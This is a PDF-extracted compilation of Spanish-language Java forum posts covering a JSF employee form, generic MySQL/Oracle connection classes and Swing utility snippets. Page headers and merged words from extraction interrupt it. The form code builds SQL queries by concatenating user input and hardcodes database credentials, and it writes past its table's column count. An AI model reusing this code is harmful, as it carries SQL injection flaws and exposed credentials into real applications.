import com.sun.webui.jsf.component.Form;import com.sun.webui.jsf.component.Label;import com.sun.webui.jsf.component.TextField;import javax.faces.FacesException;import javax.faces.event.ValueChangeEvent;import javax.swing.JTable;import javax.swing.table.DefaultTableModel;
/***
Page bean that corresponds to a similarly named JSP page. This* class contains component definitions (and initialization code) for* all components that you have defined on this page, as well as* lifecycle methods and event handlers where you may add behavior* to respond to incoming events.
** @version personal.java* @version Created on 1/04/2009, 07:20:03 AM* @author C.A.S.A*/
public class personal extends AbstractPageBean { //
/***
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 82/169
Automatically managed component initialization. WARNING: * This method is automatically generated, so any user-specified code inserted* here is subject to being replaced.
*/
private void _init() throws Exception {}private TextField nombre = new TextField();
public TextField getNombre() {return nombre;}
public void setNombre(TextField tf) {this.nombre = tf;}
private TextField apellido = new TextField();
public TextField getApellido() {return apellido;}
public void setApellido(TextField tf) {this.apellido = tf;}private TextField telefono = new TextField();
public TextField getTelefono() {return telefono;}
public void setTelefono(TextField tf) {this.telefono = tf;}private TextField direccion = new TextField();
public TextField getDireccion() {return direccion;
}
public void setDireccion(TextField tf) {this.direccion = tf;}private TextField cargo = new TextField();
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 83/169
public TextField getCargo() {return cargo;}
public void setCargo(TextField tf) {
this.cargo = tf;}private Calendar fecha_ingreso = new Calendar();
public Calendar getFecha_ingreso() {return fecha_ingreso;}
public void setFecha_ingreso(Calendar c) {this.fecha_ingreso = c;}
private Calendar fecha_salida = new Calendar();
public Calendar getFecha_salida() {return fecha_salida;}
public void setFecha_salida(Calendar c) {this.fecha_salida = c;}private TextField tipo_capacitacion = new TextField();
public TextField getTipo_capacitacion() {return tipo_capacitacion;}
public void setTipo_capacitacion(TextField tf) {this.tipo_capacitacion = tf;}private Label label2 = new Label();
public Label getLabel2() {return label2;
}
public void setLabel2(Label l) {this.label2 = l;}private Label label3 = new Label();
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 84/169
public Label getLabel3() {return label3;}
public void setLabel3(Label l) {
this.label3 = l;}private Label label4 = new Label();
public Label getLabel4() {return label4;}
public void setLabel4(Label l) {this.label4 = l;}
private Label label5 = new Label();
public Label getLabel5() {return label5;}
public void setLabel5(Label l) {this.label5 = l;}private Label label6 = new Label();
public Label getLabel6() {return label6;}
public void setLabel6(Label l) {this.label6 = l;}private Label label7 = new Label();
public Label getLabel7() {return label7;
}
public void setLabel7(Label l) {this.label7 = l;}private Label label8 = new Label();
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 85/169
public Label getLabel8() {return label8;}
public void setLabel8(Label l) {
this.label8 = l;}private Label label9 = new Label();
public Label getLabel9() {return label9;}
public void setLabel9(Label l) {this.label9 = l;}
private Button guardar = new Button();
public Button getGuardar() {return guardar;}
public void setGuardar(Button b) {this.guardar = b;}private Button consulta2 = new Button();
public Button getConsulta2() {return consulta2;}
public void setConsulta2(Button b) {this.consulta2 = b;}private Form form2 = new Form();
public Form getForm2() {return form2;
}
public void setForm2(Form f) {this.form2 = f;}private TextField id_empleado2 = new TextField();
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 86/169
public TextField getId_empleado2() {return id_empleado2;}
public void setId_empleado2(TextField tf) {
this.id_empleado2 = tf;}
//
/***
Construct a new Page bean instance.
*/
public personal() {}
/***
Callback method that is called whenever a page is navigated to,* either directly via a URL, or indirectly via page navigation.* Customize this method to acquire resources that will be needed* for event handlers and lifecycle methods, whether or not this* page is performing post back processing.
**
Note that, if the current request is a postback, the property* values of the components do not represent any* values submitted with this request. Instead, they represent the* property values that were saved for this view when it was rendered.
*/ @Override
public void init() { // Perform initializations inherited from our superclasssuper.init(); // Perform application initialization that must complete // *before* managed components are initialized // TODO - add your own initialiation code here
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 87/169
// // Initialize automatically managed components // *Note* - this logic should NOT be modifiedtry {_init();
} catch (Exception e) {log("personal Initialization Failure", e);throw e instanceof FacesException ? (FacesException) e: new FacesException(e);}
// // Perform application initialization that must complete // *after* managed components are initialized // TODO - add your own initialization code here}
/***
Callback method that is called after the component tree has been* restored, but before any event processing takes place. This method* will only be called on a postback request that* is processing a form submit. Customize this method to allocate* resources that will be required in your event handlers.
*/ @Override
public void preprocess() {}
/***
Callback method that is called just before rendering takes place.* This method will only be called for the page that* will actually be rendered (and not, for example, on a page that* handled a postback and then navigated to a different page). Customize* this method to allocate resources that will be required for rendering
* this page.
*/ @Overridepublic void prerender() {}
/***
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 88/169
Callback method that is called after rendering is completed for
* this request, if init() was called (regardless of whether* or not this was the page that was actually rendered). Customize this
* method to release resources acquired in the init(),* preprocess(), or prerender() methods (or
* acquired during execution of an event handler).
*/ @Overridepublic void destroy() {}
public void checkbox1_processValueChange(ValueChangeEvent event) {}
public String consulta2_action() {
// TODO: Process the action. Return value is a navigation // case name where null will return to the same page.return "case2";}private TextField area1 = new TextField();
public TextField getArea1() {return area1;}
public void setArea1(TextField tf) {
this.area1 = tf;}
private Alert alert2 = new Alert();
public Alert getAlert2() {return alert2;}
public void setAlert2(Alert a) {this.alert2 = a;
}private Alert alert1 = new Alert();
public Alert getAlert1() {return alert1;}
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 89/169
public void setAlert1(Alert a) {this.alert1 = a;}
public String guardar_action() {
JTable dat=new JTable();DefaultTableModel j=(DefaultTableModel) dat.getModel();dat.setModel(j); j.setColumnCount(7); j.setRowCount(1); j.setValueAt(id_empleado2.getText(), 0, 0); j.setValueAt(nombre.getText(), 0, 1); j.setValueAt(apellido.getText(), 0, 2); j.setValueAt(telefono.getText(), 0, 3); j.setValueAt(direccion.getText(), 0, 4);
j.setValueAt(cargo.getText(), 0, 5); j.setValueAt(fecha_ingreso.getText(), 0, 6); j.setValueAt(fecha_salida.getText(), 0, 7); j.setValueAt(tipo_capacitacion.getText(), 0, 8);
if(comprobar()){
//desactivo el boton de guardar
//creo la conexion a la base de datosconection c=new conection("localhost/porcinos","root","123456");
//guardo la consulta en un string y le concateno el valor del jtextfield junto con los de latablaString consulta="INSERT INTO porcinos.personal ('id_empleado', 'nombre', 'apellido','telefono', 'direccion', 'cargo', 'fecha_ingreso','fecha_salida','tipo_capacitacion')VALUES('"+Integer.parseInt((String)j.getValueAt(0, 0))+"','"+(String)j.getValueAt(0,1)+"','"+(String)j.getValueAt(0, 2)+"','"+Integer.parseInt((String)j.getValueAt(0,3))+"','"+(String)j.getValueAt(0, 4)+"','"+(String)j.getValueAt(0,5)+"','"+(String)j.getValueAt(0,6)+"','"+(String)j.getValueAt(0,7)+"','"+(String)j.getValueAt(0, 8)+"')";
//lo debemos atrapar dentro de un TRY por que es una exception marcada.
try{ //creamos el Statement para hacer consultas java.sql.Statement st=c.conection().createStatement(); /*aqui ejecutamos la consulta y la comprobamos ya que el metodo executeUpdate mandaun int delas fias afectadas*/
if
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 90/169
(st.executeUpdate(consulta)==1){ //solo despliego un cuadro texto para dar avisoalert2.setVisible(false);alert1.setVisible(true);
id_empleado2.setText("");nombre.setText("");apellido.setText("");telefono.setText("");direccion.setText("");cargo.setText("");fecha_ingreso.setText("");fecha_salida.setText("");tipo_capacitacion.setText("");
}
else{alert2.setVisible(true);}}
catch(
java.sql.SQLException e){e.printStackTrace();alert2.setVisible
(true);alert1.setVisible
(false);}}return null;}
public String button1_action() {
// TODO: Process the action. Return value is a navigation // case name where null will return to the same page.return "case1";}
public String button4_action() { // TODO: Process the action. Return value is a navigation // case name where null will return to the same page.
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 91/169
return null;}
public String button5_action() { // TODO: Process the action. Return value is a navigation
// case name where null will return to the same page.return null;}
public String INICIO_action() { // TODO: Process the action. Return value is a navigation // case name where null will return to the same page.return "case3";}
private boolean comprobar() {
conection c=new conection("localhost/porcinos","root","123456"); //guardo la consulta en un string y le concateno el valor del jtextfield junto con los datos dela tabla //en esta consulta SQL deseo saber si ya existe tanto la matricula como el nombreString consulta="SELECT * FROM porcinos.personal WHERE(id_empleado='"+id_empleado2.getText()+"') AND(id_empleado='"+id_empleado2.getText()+"')"; //lo debemos atrapar dentro de un TRY por que es una exception marcada.try{ //creamos el Statement para hacer consultas
java.sql.Statement st=c.conection().createStatement(); java.sql.ResultSet rs=st.executeQuery(consulta); //voy a comprobar si ya existe un registro.if(rs.next()){ //solo despliego un cuadro texto para dar avisoalert2.setVisible(true);alert1.setVisible(false);return false;}else{ //aqui verificare si ya Existe la Matriculaconsulta="SELECT * FROM porcinos.personal WHERE
id_empleado='"+id_empleado2.getText()+"'";rs=st.executeQuery(consulta);if(rs.next()){ //mando un mensaje en pantallaalert2.setVisible(true);alert1.setVisible(false);return false;}else{ //aqui verificare si ya Existe el Nombre
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 92/169
consulta="SELECT * FROM porcinos.personal WHEREid_empleado='"+id_empleado2.getText()+"'";
rs=st.executeQuery(consulta);if(rs.next()){
//mando un mensaje en pantallaalert2.setVisible(true);alert1.setVisible(false);return false;}else{return true;}}}
}catch(java.sql.SQLException e){e.printStackTrace();return false;}}
}
Gracias espero respuestas es urgente
Clase generica de Conexion a Bases dedatos Oracle
Hace tiempo publique un comentario para una conexion con una clase generica utilizandomysql ahora he logrado conectarme a una base de datos de oracle 10g mediante una clasegenerica de conexion
A continuacion les comparto el codigo:
package resources;
/***************************************** ** @author Marco A. Trejo Lemus ******************************************/
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 93/169
import java.sql.*;
public class GenericaDb {
public String driver, url, ip, bd, usr, pass;
public Connection conexion;
public GenericaDb(String ip, String bd, String usr, String pass) {driver = "oracle.jdbc.driver.OracleDriver";this.bd = bd;this.usr = usr;this.pass = pass;url = new String("jdbc:oracle:thin:@" + ip + ":1521:" + bd);try {Class.forName(driver).newInstance();conexion = DriverManager.getConnection(url, usr, pass);
System.out.println("Conexion a Base de Datos " + bd + " Ok");} catch (Exception exc) {System.out.println("Error al tratar de abrir la base de Datos" + bd + " : " + exc);}}
public Connection getConexion() {return conexion;}
public Connection CerrarConexion() throws SQLException {
conexion.close();conexion = null;return conexion;}} //fin de la clase
Utilizar la clase Generica de conexion a bases de datos Oracle
Esta es una clase generica que realiza una conexion a bases de datos oracle, la cual estadeclarada dentro del paquete resources, recibe cuatro parametros:String ip, String bd, String usr, String pass, los cuales se pueden enviar desde cualquier otra
clase en donde se manda llamar de la siguiente manera:
Ejemplo
GenericaDb conn = new GenericaDb("192.168.54.2","XE","developer","4dm1n1str");
Y listo el mensaje que nos debe de mostrar segun lo expuesto es:
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 94/169
Conexion a Base de Datos XE Ok
"Cual quier reto por dificil que sea, si se puede lograr, si realmente lo intentamos"
Saludos a toda la comunidad de desarrollo!
Marco
Fábrica de ventanas
Este código lo podemos usar en nuestro menú principal para crear las ventanas de laaplicación a partir del nombre del action que este asignado a un menú o botón
private class VentanaAction extends AbstractAction { private static final long serialVersionUID =
1L;
VentanaAction(String name, int key) { super(name); putValue(MNEMONIC_KEY, key);
}
private void crearVentana( AbstractAction action) {
try { JFrame form = (JFrame)
Class.forName( "presentacion
." + action.getValue(NAME) + "Form") .newInstance(
); form.setVisible(true);
} catch (Exception e) { e.printStackTrace();
} }
public void actionPerformed( ActionEvent e) {
crearVentana(this); }
}
Nuestro action puede estar declarado así:private VentanaAction consultasAction = new VentanaAction("Consultas",KeyEvent.VK_C);
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 95/169
Con esto al presionar alt + c se instanciara la clase presentacion.ConsultasForm que heredade JFrame.
Métodos para mostrar mensajes
Métodos sencillos para mostrar un mensaje de advertencia y otro para confirmar con si ono.
protected void mostrarMensaje(String mensaje) { JOptionPane.showMessageDialog(this, mensaje,
"Advertencia",JOptionPane.WARNING_MESSAGE);
}
protected boolean confirmarMensaje(String mensaje) { return
JOptionPane
.showConfirmDialog(this
,mensaje, "Confirmar",JOptionPane.YES_NO_OPTION) ==
0; }
Código para habilitar/deshabilitar
JTextFields
Con este método podemos habilitar o deshabilitar uno o varios JTextFields además deasignar otros colores
protected void habilitarControles(Component component, boolean b) {
if (component instanceof JTextField ) { JTextField text = ((JTextField )
component); text.setEnabled(b); if (b) {
text.setDisabledTextColor(new Color(0, 0, 0));
text.setBackground(new Color(255, 255, 255));
} else { text.setDisabledTextColor(new
Color(0, 40, 240)); text.setBackground(new
Color(240, 240, 240)); }
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 96/169
} else { if (component instanceof Container) {
for (Component c :((Container) component).getComponents()) {
habilitarControles(c,
b); } }
} }
Código para limpiar JTextFields
Con este método podemos limpiar uno o varios JTextFields
protected void limpiar(Component component) { if (component instanceof JTextField ) {
JTextField text = (JTextField ) component;
text.setText(""); } else {
if (component instanceof Container) { for (Component c :
((Container) component).getComponents()) { limpiar(c);
} }
} }
Código para convertir flechas y enter en
tab
Con este código al presionar enter y flecha abajo se hará un tab. También al presionar shift+ enter y flecha arriba se hará un shift + tab.
Set< AWTKeyStroke> teclasTab = new HashSet< AWTKeyStroke>();
teclasTab.add( AWTKeyStroke.getAWTKeyStroke(KeyEvent.VK_ENTER, 0));
teclasTab.add( AWTKeyStroke.getAWTKeyStroke(KeyEvent.VK_DOWN, 0));
teclasTab.add( AWTKeyStroke.getAWTKeyStroke(Ke
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 97/169
yEvent.VK_TAB, 0)); getContentPane().setFocusTraversalKeys(
KeyboardFocusManager.FORWARD_TRAVERSAL_KEYS, teclasTab);
Set< AWTKeyStroke> teclasShiftTab = new HashSet< AWTKeyStroke>();
teclasShiftTab.add( AWTKeyStroke.getAWTKeyStroke(KeyEvent.VK_ENTER,
InputEvent.SHIFT_DOWN_MASK)); teclasShiftTab.add( AWTKeyStroke.getAWTKeyStro
ke(KeyEvent.VK_UP, 0)); teclasShiftTab.add( AWTKeyStroke.getAWTKeyStro
ke(KeyEvent.VK_TAB,InputEvent.SHIFT_DOWN_MASK));
getContentPane().setFocusTraversalKeys( KeyboardFocusManager.BACKWARD
_TRAVERSAL_KEYS, teclasShiftTab);
Código para centrar JFrame
Agrega este código a tu Frame y luego llamas el método centrarVentana en el eventowindowOpened
protected void this_windowOpened( WindowEvent e) { centrarVentana();
}
private void centrarVentana() { // Se obtienen las dimensiones en pixels de
la pantalla. Dimension pantalla =
Toolkit.getDefaultToolkit().getScreenSize();
// Se obtienen las dimensiones en pixels de
la ventana. Dimension ventana = getSize();
// Una cuenta para situar la ventana en el
centro de la pantalla. setLocation((pantalla.width - ventana.width)
/ 2,(pantalla.height -
ventana.height) / 2); }
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 98/169
Código para arrastrar JFrame con el
mouse
En los eventos mousePressed y mouseDragged del JFrame agrega este código
import java.awt.MouseInfo; import java.awt.Point;
private int x; private int y;
protected void this_mousePressed( MouseEvent e) { x = e.getX(); y = e.getY();
} protected void this_mouseDragged( MouseEvent e) {
Point point = MouseInfo.getPointerInfo().getLocation();
setLocation(point.x - x, point.y - y); }
JTextField Númerico
Crea un clase NumericDocument con el siguiente código
package presentacion;
import javax.swing.text.AttributeSet; import javax.swing.text.BadLocationException; import javax.swing.text.PlainDocument;
public class NumericDocument extends PlainDocument { private static final long serialVersionUID = 1L;
public void insertString(int offset, String str, AttributeSet a)
throws BadLocationException { if (str == null) {
return; } StringBuffer buf = new
StringBuffer(str.length()); for (int i = 0; i < str.length(); i++) {
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 99/169
if (Character.isDigit(str.charAt(i))) {
buf.append(str.charAt(i)); } else {
java.awt.Toolkit.getDefaultTo
olkit().beep(); } } super.insertString(offset, buf.toString(),
a); }
}
Ahora solo hay que asignarselo al JTextField así:numeroText.setDocument(new NumericDocument());
Panel con imagen redimensionable
Aquí los comparto el código que use para incluir imagenes en un panel
package presentacion;
import java.awt.Graphics; import java.awt.Image;
import javax.swing.Icon; import javax.swing.ImageIcon; import javax.swing.JPanel;
public class FondoPanel extends JPanel { private static final long serialVersionUID = 1L; private Image image = null; private Image intermediateImage = null; private Icon icon;
public FondoPanel() { super();
}
public void paintComponent(Graphics g) { super.paintComponent(g); if (getImage() != null) {
if (intermediateImage == null ||
intermediateImage.getWidth(null) != getWidth()
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 100/169
||intermediateImage.getHeight(null) != getHeight()) {
intermediateImage =createImage(getWidth(), getHeight());
Graphics gImg =
intermediateImage.getGraphics(); gImg.drawImage(getImage(), 0,0, getWidth(), getHeight(), null);
} g.drawImage(intermediateImage, 0, 0,
null); }
}
private Image getImage() { return image;
}
private void setImage(Image image) { this.image = image;
}
public Icon getIcon() { return icon;
}
public void setIcon(Icon icon) { this.icon = icon;
setImage(((ImageIcon) icon).getImage()); }
}
Clase generica de Conexion a Bases de
datos
Una clase Generica de conexion a bases de datos
Una clase generica que realiza una conexion a bases de datos mysql, la cual esta declaradadentro del paquete conexion, recibe cuatro parametros:String ip, String bd, String usr, String pass, los cuales se pueden enviar desde otra clase endonde se mande llamar... ejemplo
GenericaDb pnbd = new GenericaDb("192.168.54.2","listadb","admin","4dm1n1str");
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 101/169
despues se puede acceder a los elementos de la clase de la siguiente forma:
//Para obtener la conexionConnexion conexion = qpn.getConexion();
package conexion;
/***************************************** ** @author Marco A. Trejo Lemus ** 17/06/2008 09:47:01 AM *****************************************/
import java.sql.*;
public class GenericaDb
{public String driver,url,ip,bd,usr,pass;public Connection conexion;
public GenericaDb(String ip, String bd, String usr, String pass){ driver="com.mysql.jdbc.Driver";this.bd = bd;this.usr = usr;this.pass = pass;url = new String("jdbc:mysql://"+ip+"/"+bd);try
{ Class.forName(driver).newInstance();conexion=DriverManager.getConnection(url,usr,pass);System.out.println("Conexion a Base de Datos "+bd+" Ok");}
catch (Exception exc){ System.out.println("Error al tratar de abrir la base de Datos"+bd+" : "+exc);}}
public Connection getConexion()
{ return conexion;}
public Connection CerrarConexion() throws SQLException{ conexion.close(); conexion = null;return conexion;}
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 102/169
} //fin de la clasePublicado por Marco Antonio Trejo Lemus en 9:21 0 comentariosEtiquetas: clases, genericas, java jdbcmartes 10 de junio de 2008
Hace tiempo publique un comentario para una conexion con una clase generica utilizandomysql ahora he logrado conectarme a una base de datos de oracle 10g mediante una clasegenerica de conexion
A continuacion les comparto el codigo:
package resources;
/***************************************** ** @author Marco A. Trejo Lemus *
*****************************************/
import java.sql.*;
public class GenericaDb {
public String driver, url, ip, bd, usr, pass;public Connection conexion;
public GenericaDb(String ip, String bd, String usr, String pass) {
driver = "oracle.jdbc.driver.OracleDriver";this.bd = bd;this.usr = usr;this.pass = pass;url = new String("jdbc:oracle:thin:@" + ip + ":1521:" + bd);try {Class.forName(driver).newInstance();conexion = DriverManager.getConnection(url, usr, pass);System.out.println("Conexion a Base de Datos " + bd + " Ok");} catch (Exception exc) {System.out.println("Error al tratar de abrir la base de Datos" + bd + " : " + exc);
}}
public Connection getConexion() {return conexion;}
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 103/169
public Connection CerrarConexion() throws SQLException {conexion.close();conexion = null;return conexion;}
} //fin de la clase
Utilizar la clase Generica de conexion a bases de datos Oracle
Esta es una clase generica que realiza una conexion a bases de datos oracle, la cual estadeclarada dentro del paquete resources, recibe cuatro parametros:String ip, String bd, String usr, String pass, los cuales se pueden enviar desde cualquier otraclase en donde se manda llamar de la siguiente manera:
Ejemplo
GenericaDb conn = new GenericaDb("192.168.54.2","XE","developer","4dm1n1str");
Y listo el mensaje que nos debe de mostrar segun lo expuesto es:
Conexion a Base de Datos XE Ok
"Cual quier reto por dificil que sea, si se puede lograr, si realmente lo intentamos"
Saludos a toda la comunidad de desarrollo!
Cargar una imagen en un JPanel ennetbeans
En Mi Caso Yo Lo Que Hago Es Dibujar en El Panel Mediante el metodopaintComponent(Graphics g) como se ve acontinuacion
public void paintComponent(Graphics g) {Dimension tamanio = getSize();ImageIcon fondo = new ImageIcon(getClass().getResource("imagenes/Bienvenida.png"));g.drawImage(fondo.getImage(), 0, 0, tamanio.width, tamanio.height, null);
setOpaque(false);super.paintComponent(g);}
espero te sirva
Que tal amigos.. excelente foro..!!Tengo la siguiente consulta, necesito cargar imagenes en un JPanel medinate el
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 104/169
JFileChooser(), ya cargo la imagen, pero cuando cargo una nueva... no muestra la nueva..se queda la q en un principio se cargo, estoy pensando que el error, pueda ser en lasllamadas a los métodos.. agrego el código..JFileChooser fc = new JFileChooser();fc.setFileFilter(new FileNameExtensionFilter("Archivos de imagen", "jpg", "jpeg", "png",
"gif")); jTextPane2.setText("Cargando Imágen...");int opcion = fc.showDialog(this, "Abrir");
if (opcion == JFileChooser.APPROVE_OPTION){File file = fc.getSelectedFile();ruta=file.getPath();imagen= Toolkit.getDefaultToolkit().getImage(ruta);MediaTracker tracker = new MediaTracker( this );
tracker.addImage( imagen,1 );
try {if( !tracker.waitForID( 1,100000 ) ) {System.out.println( "Error en la carga de la imagen" );System.exit( 1 );}} catch( InterruptedException e ) {System.out.println( e );} //this.mostrarImagen(file);
this.mostrarImagen(file);this.cargaDirectorio(file.getParent()); jTextPane2.setText("Imagén Cargada");
try {if( !tracker.waitForID( 1,100000 ) ) {System.out.println( "Error en la carga de la imagen" );System.exit( 1 );}} catch( InterruptedException e ) {System.out.println( e );
}
System.out.println("La ruta de la Imagen es:"+ruta);w=imagen.getWidth(this);h=imagen.getHeight(this);System.out.println("Ancho"+this.w);System.out.println("Alto"+h);System.out.println("Cantidad de Pixels are"+w*h);}
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 105/169
private void mostrarImagen(File file){PanelImagen imgPanel = new PanelImagen(file, this.pnlImagen.getWidth(),this.pnlImagen.getHeight());this.pnlImagen.add(imgPanel);
System.out.println("Ancho"+this.w);System.out.println("Alto"+h);System.out.println("Cantidad de Pixels are"+w*h);System.out.println("hola");this.repaint();}
private void cargaDirectorio(String folder){File dir = new File(folder);if (dir.isDirectory())
{this.fotos = dir.listFiles(new FilenameFilter(){
public boolean accept(File file, String nombre){if (nombre.endsWith(".jpg") ||nombre.endsWith(".jpeg") ||nombre.endsWith(".gif") ||nombre.endsWith(".png")){
return true;}return false;}});}for (int i = 0; i < fotos.length; i++){System.out.println(fotos[i]);
}}
como veran.. esas lineas son las q empleo para cargar las imagenes.. hay unas líneas deimpresion a pantalla q las ocupe como prueba..saludos
Hola, hace un momento estuve explorando el contenido de la página e hice mi primercomentario, ahora expongo mi primer aporte espero les sea útil.
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 106/169
Para mostrar una imagen dentro de un panel, búscando en la red me encontre con lasiguiente libreria de Swing, llamada SwingX, misma que pueden descargar desde elsiguiente enlace http://swinglabs.org/downloads.jsp ; esta libreria contiene algunoscomponentes que estoy seguro les va a ser de mucha utilidad (Si usan el ide netbeanspodran arrastrar los componentes hacia su área de trabajo). Es dentro de esta colección de
componentes donde se encuentra el JXImagePanel el cual nos permite insertar en sucontenedor una imagen de fondo.
Para ello necesitan:- Descargar y guardar en su equipo la libreria SwingX de enlace:http://swinglabs.org/downloads.jsp ---------AGREGAR LA LIBRERIA -------------------------------------------------------------------- Abrir el ide del netbeans- Ir a la opción "Tools" de la barra del menú, dar clic.- Seleccionar la opción "Palette" de menú (Se mostrara otro submenú) y
- Dar clic en la opción " Swing/AWT Component"- Se mostrara una venta de dialogo " Palette Manager"- Presionar el botón " New Category..." , aquí se desplegara un cuadro de dialogosolicitando el nombre para la nueva categoría.asignamos un nombre y presionamos "OK"- Add from JAR...- Buscamos el archivo jar que descargamos- Seleccionamos los componentes que vamos a agregar ( Agregamos todos los componentes)- seleccionamos la categiria que acabamos de crear y presionamos el botón- seleccionamos la categiria que acabamos de crear y presionamos el botón
- fin
- Una vez que se ha agregado la libreria swingX podemos agregar los componentes desde lapaleta de componentes
Aqui les dejo una clase que elabore y me ha funcionado bien al momento de utilizar elJXImagePanel de la libreria SwingX
Pareciera ser muchos los pasos a seguir para implementarlo pero en realidad son sencillo, sigustan les puedo hacer un minimanual, ¿Cómo se los enviaria?
import java.awt.Image;import java.awt.image.BufferedImage;import java.io.File;import java.io.IOException;
import java.util.logging.Level;import java.util.logging.Logger;import javax.imageio.ImageIO;import org.jdesktop.swingx.JXImagePanel;
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 107/169
/*** @nombre : Agente_imagen.java* @descripción : Clase que proporciona las herramientas para insertar una imagen* dentro un panel (JXImagePanel).
* @creado : 4 de Enero del 2009.* @author : Aarón**/
public class Agente_imagen {
public Agente_imagen(){
}//fin constructor.
/*Retornar una imagen tipo Image dada una url.*/
public Image getImagen(String url){
Image imagen;BufferedImage bufferedImage = null;
//Realizamos la lectura del archivo.
File archivo = new File( url );try {bufferedImage = (ImageIO.read(archivo));} catch (IOException ex) {Logger.getLogger(Agente_imagen.class.getName()).log(Level.SEVERE, null, ex);}
imagen = bufferedImage;
return imagen;
}//fin mètodo: getImagen()..
/*Inserta una imagen dentro de un ImagePanel a partir de una url proporcionada
y ajusta la imagen al tamaño inicial del panel, en este caso es un JXImagePanel
de la libreria swingx*/ public void setImageinImagePanel(String url, JXImagePanel panel){ //Inicializamos nuestra variable. JXImagePanel paneldeImagen = panel;Image imagen = null;paneldeImagen.setImage(null);
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 108/169
//Obtenemos la imagen a partir de la url proporcionada. imagen = getImagen(url);
//Obtenemos el ancho y alto del panel el caul no servira para redimen---
//sionar a la imagen.
int ancho = panel.getWidth();int alto = panel.getHeight();imagen = redimensionarImagen(imagen, ancho, alto); //Insertamos la imagen redimensionada en el panel. paneldeImagen.setImage(imagen);}//Fin metodo: setImageinImagePanel.
/*Inserta una imagen tipo Image dentro de un ImagePanel, ajusta la imagen al
tamaño inicial del panel.*/ public void setImageinImagePanel(Image imagen, JXImagePanel panel){ JXImagePanel paneldeImagen = panel;
paneldeImagen.setImage(null);
paneldeImagen.setImage(imagen);}//fin método: setImageinImagePanel.
/*Retornar una imagen tipo Image, redimensionada, apartir de los parametros -
alto y ancho proporcionados. */ public Image redimensionarImagen(Image imagen, int ancho, int alto) { return imagen.getScaledInstance(ancho, alto, Image.SCALE_AREA_AVERAGING);}//FIN: redimensionarImagen.
}//Fin clase: Agente_imagen
Saludos
Principio del formulario
Creando mi primer applet... inservible
Pues despues de leer un poco en un libro sobre Java que creo que esta un poco viejo porquedice que se concentrara en las applets... y según me dijeron Ya no se usan las applets u.u
import java.awt.*; import java.applet.Applet;
public class Holamundoapplet extends Applet{ public void paint (Graphics g) { g.drawString ("Hola Mundo", 50, 50);
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 109/169
} }
Haciendo un pequeño Callback
Bien ahora que tengo un poco de tiempo describiré que es y como funciona un Callback,que en pocas palabras es una técnica que consiste en crear un objeto y que el objeto creadoobtenga una referencia de quien lo instanció y pueda enviarle una respuesta.
Más fácil, los callbacks permiten a un objeto A asignar una tarea a un objeto B, es entoncescuando el objeto B puede notificar al objeto A (de manera asincrónica) cuando la tarea escompletada.
Con esto separamos muy bien las responsabilidades entre objetos y mejoramos el uso derecursos :-)
Clase A - Cliente.java
package hss;
public class Cliente {
Cliente(){ Lanza lanza = new Lanza(this, 8); lanza.run();
}
public static void main(String args[]){ new Cliente();
}
public void lanzada(){ System .out.println("Lanzada!!!");
}
}
Clase B - Lanza.java
package hss;
public class Lanza {
int intervalo; Cliente cliente;
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 110/169
Lanza(Cliente cliente, int intervalo){ this.intervalo = intervalo; this.cliente = cliente;
}
void run(){ for (int i = 0; i < intervalo; i++){
cliente.lanzada(); }
}
}
Voy a explicarlo como si corriera en modo de debug, es decir tal cual es el flujo delprograma.
Cliente.java - Método main()
public static void main(String args[]){ new Cliente();
}
El método main por default es el primer método invocado, y crea una nueva instancia de laclase Cliente (crea una instancia de la misma clase en la que está)
Cliente.java - Constructor default
Cliente(){ Lanza lanza = new Lanza(this, 8);
Al ser instanciada la clase Cliente, el constructor por default es ejecutado, quien a su vezcrea una nueva instancia de la clase Lanza y de nombre 'lanza', a quien le manda comoparámetros 'this' (que es nuestro objeto Client actual, es como si se enviara él mismo) y unentero (8).
Lanza.java - Constructor que recibe Cliente y entero
Lanza(Cliente cliente, int intervalo){ this.intervalo = intervalo; this.cliente = cliente;
}
El constructor de Lanza es ejecutado, recibe el objeto Cliente enviado con 'this' desde elobjeto Client y el número entero, luego los copia a el 'Cliente' e 'intervalo' locales.
Cliente.java - Constructor default lanza.run();
5/11/2018 Java Foros - slidepdf.com
http://slidepdf.com/reader/full/java-foros 111/169
la ejecución regresa al objeto Cliente y continúa con la siguiente línea en donde ejecuta elmétodo run() del objeto lanza instanciado.
Lanza.java - Método run()
